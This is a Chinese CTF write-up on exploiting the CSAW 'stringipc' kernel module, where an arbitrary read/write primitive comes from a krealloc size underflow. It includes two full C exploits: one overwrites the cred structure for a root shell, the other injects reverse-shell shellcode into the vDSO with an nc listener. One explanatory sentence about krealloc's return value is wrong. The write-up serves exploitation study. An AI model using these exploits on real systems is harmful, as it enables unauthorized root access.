不知道为啥在分析这个题的时候,ida在反汇编时伪c出现大量错误。
这个题是学习linux kernel 从任意读到权限提升一个很好的例子,本文一共介绍三种方式
本文只提供方法,具体的exp还是要根据不同的内核版本来写,比如在写vdso gettimeofday的时候,不同版本的内核,函数的偏移可能不同.

checksec

kaka@kaka-virtual-machine:~/kernelpwn/stringipc/core$ checksec stringipc.ko 
[*] '/home/kaka/kernelpwn/stringipc/core/stringipc.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

在start.sh中还可以发现开启了smep,smap。

漏洞分析

(ida反编译有错,已在注释中改正)漏洞出现在v9 = krealloc(result->data, v8 + 1, 37748928LL)这个地方,当krealloc返回不为0时,会重新更改chennel结构的一些值。
krealloc的定义

void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
    void *ret;

    if (unlikely(!new_size)) {
        kfree(p);
        return ZERO_SIZE_PTR;
    }

    ret = __do_krealloc(p, new_size, flags);
    if (ret && p != ret)
        kfree(p);

    return ret;
}
EXPORT_SYMBOL(krealloc);

可知,当new_size不为0时,会返回ZERO_SIZE_PTR
#define ZERO_SIZE_PTR ((void *)16)
也就意味着,当我们传入的new_size=0时,会返回0x10,因此会更新channel结构的data,buf_size字段。当new_size=v8+1=0时,v8=-1,因为v8是size_t类型(unsigned long long),因此v8的值是0xffffffffffffffff,这个值作为了新的buf_size.因此对于这个buf具有了任意地址读写的能力。

利用分析

修改cred结构体

通过修改cred结构体是在提权中的惯用套路,但是如何确定cred的位置?p4nda师傅的博客里介绍了一种方法,重温一下task_struct结构(部分代码)

struct task_struct{
/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;    /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */
}

comm[TASK_COMM_LEN],由注释名字可以知道,它包含了进程的名字,大小为16,可以在内存中搜索这段字符串的位置来计算cred的地址,prctl函数中的PR_SET_NAME功能可以用来设置进程的名字,因此可以设置comm[TASK_COMM_LEN],因此设为一个特定值,然后再内存中搜索这个字符串,但是如此大的内存空间完全遍历可能需要耗费大量时间,因为task_struct是通过kmem_cache_alloc_node获取的,根据内存映射图可知,爆破范围应该在0xffff880000000000~0xffffc80000000000
linux内核 64位 X86_64 地址空间

exp
#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#define CSAW_ALLOC_CHANNEL 0x77617364
#define CSAW_SHRINK_CHANNEL 0x77617367
#define CSAW_SEEK_CHANNEL 0x7761736a
#define CSAW_READ_CHANNEL 0x77617368
#define CSAW_WRITE_CHANNEL 0x77617369

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

int main(){
    setvbuf(stdout, 0LL, 2, 0LL);
    char target[16] ;
    strcpy(target,"brute_for_cred!");
    prctl(PR_SET_NAME,target);
    char name[16];
    prctl(PR_GET_NAME,(unsigned long)name);
    printf("[*] name %s\n",name);
    struct alloc_channel_args alloc_args;
      struct shrink_channel_args shrink_args;
      struct seek_channel_args seek_args;
      struct read_channel_args read_args;
      struct close_channel_args close_args;
      struct write_channel_args write_args;
    int fd = -1;
    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
      puts("open csaw error!");
      exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    printf("[*] alloc channel id %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100 + 1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[*] any read/write");
    char *buf = malloc(0x1000);
    size_t addr = 0xffff880000000000;
    size_t res = 0;
    size_t cred = 0;
    size_t real_cred = 0;
    size_t target_addr = 0;
    
    for(;addr<0xffffc80000000000;addr+=0x1000){
      seek_args.id =  alloc_args.id;
          seek_args.index = addr-0x10 ;
          seek_args.whence= SEEK_SET;
          ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
          read_args.id = alloc_args.id;
          read_args.buf = buf;
          read_args.count = 0x1000;
          ioctl(fd,CSAW_READ_CHANNEL,&read_args);
      res = memmem(buf,0x1000,target,16);
      if(res){
        printf("[*] res : 0x%lx\n",res);
        printf("[*] addr : 0x%lx\n",addr);
        cred = *(size_t*)(res-0x8);
        printf("[*] cred 0x%lx\n",cred);
        break;
      }
    }
    
    if(res == 0){
      puts("cann't find target!");
      exit(-1);
    }
    int i = 0;
    char tmp_cred = '\x00';
    puts("ready edit cred");
    for(i=0;i<44;++i){
      seek_args.id = alloc_args.id;
      seek_args.index = cred- 0x10 + 4 + i;
      seek_args.whence = SEEK_SET;
      ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
      write_args.id = alloc_args.id;
      write_args.count = 1;
      write_args.buf = &tmp_cred;
      ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    }
    if(getuid() == 0){
      puts("gets root shell");
      system("/bin/sh");
    }
    else{
      puts("cred edit false!");
    }
    return 0;
}

覆盖vDSO

linux 下的 vDSO

VDSO(Virtual Dynamically-linked Shared Object), 它将内核态的调用映射到用户态的地址空间中,它不存在于磁盘上,而是在内核代码里面,内核会在程序启动的时候将对应包含*-vdso.so的页面直接映射到用户态下的进程内存中,以减少部分系统调用开销,内核态的vDSO段地址权限为RW,用户空间的vDSO段权限为RX,因此,如果能在内核态修改vDSO段代码,就可以在用户态直接执行,假如我们将其修改为commit_creds(prepare_kernel_cred(0));就可以实现提权.

vdso.so 函数

vDSO在哪?

vDSO的位置我们是不确定的,但是可以通过爆破的方式获取,首先vdso.so可以视为一个elf文件(毕竟是.so文件),在内存中也是页对齐的,通过getconf PAGE_SIZE可以确定页大小,一般是4096(4k),我们可以通过一页的开始部分确定是不是elf文件,再通过一段偏移处的代码确定是不是vdso。

利用分析

通过任意写,修改内核空间的vdso,通过高权限进程调用vdso内函数,实现反弹shell(环境采用的p4nda师傅的,通过在利用root权限不断执行gettimeofday函数)

exploit
#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h> 
#include <stdlib.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
}alloc_args;

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
}shrink_args;

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
}read_args;

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
}write_args;

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
}seek_args;

struct close_channel_args {
    int id;
};

void dump_vdso(char **addr){
    int i;
    for(i=1;i<0x501;++i){
        if(i%16 != 0){
            printf("%02x ",*(unsigned char*)(*addr + i));
        }
        else{
            printf("%02x\n",*(unsigned char*)(*addr + i));
        }
    }
}

int check_vsdo_shellcode(char *sc){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    printf("vdso:%lx\n", addr);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return 0;
    }    
    if (memmem((char *)addr,0x1000,sc,strlen(sc) )){
        return 1;
    }
    return 0;
}

int main(){
    int fd;
    fd = open("/dev/csaw",O_RDWR);
    if (fd < 0){
        puts("open error!");
    }
    alloc_args.id = 0;
    alloc_args.buf_size = 0x10;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    int id;
    id = alloc_args.id;
    printf("[*] alloc channel id %d\n",id);
    shrink_args.id = id;
    shrink_args.size = 0x10 + 1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[*] any read/write");
    size_t addr = 0xffffffff80000000;
    char *buf = malloc(0x1000);
    size_t res = 0;
    char *vdso_head = "\x7f\x45\x4c\x46\x02\x01\x01";
    int head_size;
    head_size = sizeof(*vdso_head);
    for(;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id = id;
        seek_args.index = addr - 0x10;
        seek_args.whence = SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(!strncmp(buf,vdso_head,head_size)){
            if(!strncmp((buf + 0x2cd),"gettimeofday",12)){
                printf("[*] find vDSO address 0x%lx\n",addr);
                res = addr;
                dump_vdso(&buf);
                printf("[*] res 0x%lx\n",res);
                break;
            }
        }
    }
    if(!res){
        puts("[*] can't find vDSO ");
        exit(-1);
    }
       char sc[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
    seek_args.id = id;
    seek_args.index = res - 0x10 + 0xc80;
    seek_args.whence = SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = id;
    write_args.buf = sc;
    write_args.count = sizeof(sc);
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    puts("[*] ready to write shellcode to vDSO");
    if(check_vsdo_shellcode(sc) == 1){
        puts("[*] shellcode is writen into vDSO");
        system("nc -lp 3333");
    }
    else{
        puts("something wrong");
    }
    return 0;
}

利用prctl函数

放在solid_core里面

preView